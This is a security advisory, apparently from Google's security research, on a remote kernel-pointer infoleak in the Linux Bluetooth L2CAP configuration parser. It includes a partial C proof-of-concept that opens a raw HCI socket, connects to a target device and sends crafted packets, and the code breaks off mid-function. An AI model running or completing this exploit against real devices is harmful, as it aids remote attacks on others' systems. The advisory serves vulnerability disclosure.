Linux Kernel: Infoleak in Bluetooth L2CAP Handling

### Summary There is an infoleak vulnerability in the Linux kernel's `net/bluetooth/l2cap_core.c`'s `l2cap_parse_conf_req` function which can be used to leak kernel pointers remotely. The bug was introduced in [commit 42dceae](https://github.com/torvalds/linux/commit/42dceae2819b5ac6fc9a0d414ae05a8960e2a1d9) (version: 3.0.0, date: 2011-Oct-17). ### Severity Moderate - The leak in Bluetooth L2CAP handling can be used to leak kernel pointers remotely. ### Proof of Concept The bug can be triggered remotely on a KASAN-enabled kernel with the PoC below. Tested on Ubuntu 22.04, precondition: HighSpeed support needs to be enabled via e.g. `btmgmt hs on` ```c #include <stdlib.h> #include <unistd.h> #include <sys/socket.h> #include <sys/uio.h> #include <bluetooth/bluetooth.h> #include <bluetooth/l2cap.h> #include <bluetooth/hci.h> #include <bluetooth/hci_lib.h> #define AMP_MGR_CID 0x03 typedef struct { uint8_t code; uint8_t ident; uint16_t len; } __attribute__ ((packed)) amp_mgr_hdr; #define AMP_MGR_HDR_SIZE 4 #define AMP_INFO_REQ 0x06 typedef struct { uint8_t id; } __attribute__ ((packed)) amp_info_req_parms; typedef struct { uint8_t mode; uint8_t txwin_size; uint8_t max_transmit; uint16_t retrans_timeout; uint16_t monitor_timeout; uint16_t max_pdu_size; } __attribute__ ((packed)) l2cap_conf_rfc; typedef struct { uint8_t id; uint8_t stype; uint16_t msdu; uint32_t sdu_itime; uint32_t acc_lat; uint32_t flush_to; } __attribute__((packed)) l2cap_conf_efs; static void hexDump(const void *data, size_t size) { size_t i; for(i = 0; i < size; i++) { printf("%02hhX%c", ((char *)data)[i], (i + 1) % 16 ? ' ' : '\n'); } printf("\n"); } int hci_send_acl_data(int hci_socket, uint16_t hci_handle, void *data, uint16_t data_length) { uint8_t type = HCI_ACLDATA_PKT; uint16_t BCflag = 0x0000; uint16_t PBflag = 0x0002; uint16_t flags = ((BCflag << 2) | PBflag) & 0x000F; hci_acl_hdr hdr; hdr.handle = htobs(acl_handle_pack(hci_handle, flags)); hdr.dlen = data_length; struct iovec iv[3]; iv[0].iov_base = &type; iv[0].iov_len = 1; iv[1].iov_base = &hdr; iv[1].iov_len = HCI_ACL_HDR_SIZE; iv[2].iov_base = data; iv[2].iov_len = data_length; return writev(hci_socket, iv, sizeof(iv) / sizeof(struct iovec)); } int hci_send_cmd_data(int hci_socket, uint8_t ogf, uint8_t ocf, void *data, uint16_t data_length) { uint8_t type = HCI_COMMAND_PKT; hci_command_hdr hdr; hdr.opcode = cmd_opcode_pack(ogf, ocf); hdr.plen = data_length; struct iovec iv[3]; iv[0].iov_base = &type; iv[0].iov_len = 1; iv[1].iov_base = &hdr; iv[1].iov_len = HCI_COMMAND_HDR_SIZE; iv[2].iov_base = data; iv[2].iov_len = data_length; return writev(hci_socket, iv, sizeof(iv) / sizeof(struct iovec)); } int main(int argc, char **argv) { if (argc != 2) { printf("Usage: %s MAC_ADDR\n", argv[0]); return 1; } bdaddr_t dst_addr; str2ba(argv[1], &dst_addr); int hci_socket = socket(AF_BLUETOOTH, SOCK_RAW, HCI_CHANNEL_USER); struct sockaddr_hci addr; memset(&addr, 0, sizeof(addr)); addr.hci_family = AF_BLUETOOTH; addr.hci_dev = 0; addr.hci_channel = HCI_CHANNEL_USER; bind(hci_socket, (struct sockaddr *) &addr, sizeof(addr)); create_conn_cp params; bacpy(&params.bdaddr, &dst_addr); params.pkt_type = 0xcc18; params.pscan_rep_mode = 2; params.pscan_mode = 0; params.clock_offset = 0; params.role_switch = 1; hci_send_cmd_data(hci_socket, OGF_LINK_CTL, OCF_CREATE_CONN, &params, sizeof(params)); // TODO: fetch handle while (1) { uint8_t buf[256] = {0}; if (read(hci_socket, buf, sizeof(buf)) < 0) { perror("[-] read"); exit(1); } if (buf[0] == HCI_EVENT_PKT) { break; } } uint16_t hci_handle = 0x100; while (1) { uint8_t buf[256] = {0}; if (read(hci_so

Severity from

GitHub (reviewed advisory)

• github.com/google/security-research/security/advisories/GHSA-vccx-8h74-2357
• github.com/google/security-research